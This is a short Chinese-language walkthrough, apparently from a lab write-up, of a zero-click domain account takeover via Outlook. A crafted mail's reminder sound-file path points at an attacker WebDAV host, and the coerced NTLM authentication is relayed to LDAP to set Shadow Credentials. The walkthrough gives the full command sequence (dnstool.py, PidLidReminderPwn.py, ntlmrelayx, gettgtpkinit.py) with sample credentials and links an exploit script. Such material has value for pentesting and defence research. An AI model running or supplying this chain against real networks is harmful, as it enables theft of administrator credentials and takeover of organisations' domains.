即使在微软更新补丁之后,也可以在域中实现零点击帐户接管,无需在受害者端打开消息,无需使用任务或日历事件。
执行以下命令使用dnstool.py在dns中注册攻击者机器。
python3 ./krbrelayx/dnstool.py -u 'heresec.local\y-heresec' -p 'qq123123' --record fakeIT --action add --data 192.168.239.129 192.168.239.164
开启http→ldap中继后,构建并发送恶意消息,使用WEBDAV UNC路径作为指向我们ntlm中继的声音文件,无需使用任务或日历事件,只需单纯的outlook邮件消息。
python3 ./Desktop/PidLidReminderPwn.py -u y-heresec@heresec.local -p qq123123 -s exchange.heresec.local -t administrator@heresec.local -f '\\fakeIT@8888\path\not\exists.wav'
当使用@符号指定端口时,无论端口如何,都不会通过 SMB 协议进行连接,而是通过HTTP尝试连接WebDAV。
受害者(高权限)收到邮件,无需打开邮件,提醒会打开,outlook尝试打开声音文件,实际上指向WebDAV UNC路径,NTLM中继在此监听,通过利用msDS-KeyCredentialLink 属性执行 Shadow Credentials。
impacket-ntlmrelayx -t ldap://192.168.239.164 --no-da --no-dump --no-acl --no-validate-privs --no-smb-server --http-port 8888 --shadow-credentials
申请TGT票据。
python3 PKINITtools/gettgtpkinit.py -cert-pfx E6EaY54o.pfx -pfx-pass A72b3DYf5g1gLjh8OyKu heresec.local/ADMINISTRATOR E6EaY54o.ccache
添加环境变量后使用票据完成提权。
利用脚本在此:
https://gist.github.com/tothi/d2d6c6a3e8b1d72ce6646d8683326e49